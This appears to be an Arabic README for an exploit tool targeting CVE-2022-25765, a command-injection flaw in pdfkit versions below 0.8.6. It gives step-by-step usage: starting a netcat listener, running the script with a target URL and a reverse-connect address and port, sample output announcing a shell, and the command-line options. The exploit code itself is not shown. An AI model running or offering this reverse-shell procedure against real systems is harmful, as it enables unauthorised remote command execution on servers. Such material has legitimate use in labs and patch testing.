
استغلال لـ CVE-2022-25765 لحقن الأوامر في pdfkit < 0.8.6
استغلال لثغرة حقن الأوامر CVE-2022-25765 في pdfkit < 0.8.6
اطلع على تفاصيل أكثر عن الثغرة هنا
شغل netcat على مضيفك:
$ nc -lvnp 1337
شغل الاستغلال (مثال):
$ ./CVE-2022-25765.py -t http://localhost -a 10.10.14.122 -p 1337
[*] Input target address is http://localhost
[*] Input address for reverse connect is 10.10.14.122
[*] Input port is 1337
[!] Run the shell... Press Ctrl+C after successful connection
الخيارات:
-t, --target Address of target in http-format
-a, --addr Address for reverse connect
-p, --port Port for reverse connect, 9001 by default